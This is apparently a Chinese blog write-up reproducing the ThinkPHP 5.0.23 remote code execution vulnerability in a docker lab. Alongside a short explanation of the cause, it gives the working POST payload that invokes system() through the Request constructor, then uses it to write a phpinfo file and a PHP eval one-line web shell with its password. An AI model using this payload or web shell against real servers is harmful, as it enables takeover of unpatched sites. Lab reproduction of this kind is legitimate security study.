Thinkphp5.0.23 rce(远程代码执行)的漏洞复现

漏洞形成原因

  • 框架介绍:
    ThinkPHP是一款运用极广的PHP开发框架。
  • 漏洞引入:
    其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。

漏洞如何利用

  • 1、访问靶机地址+端口号 进入首页
  • 2、Burp抓包修改传参方式为Post,传入参数为"_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd",其中pwd为系统执行命令可进行一系列操作。

漏洞复现过程

  • Kali docker 容器中启动此漏洞环境
    在这里插入图片描述
  • 浏览器访问 Kali 的 ip 地址接上8080端口

在这里插入图片描述

  • Burp抓包修改传参方式为Post,url后接入/index.php?s=captch,传入参数为"_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd"。
    在这里插入图片描述在这里插入图片描述
/index.php?s=captcha		#url后接
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd	#POST传入参数
  • Burp Go 在这里插入图片描述在这里插入图片描述

  • 尝试写入phpinfo

echo "<?php phpinfo(); ?>" > info.php

在这里插入图片描述

  • 成功!
    在这里插入图片描述
  • 写入一句话
echo '<?php eval($_POST[aaa]); ?>' > shell.php	#密码:aaa

在这里插入图片描述

Logo

有“AI”的1024 = 2048,欢迎大家加入2048 AI社区

更多推荐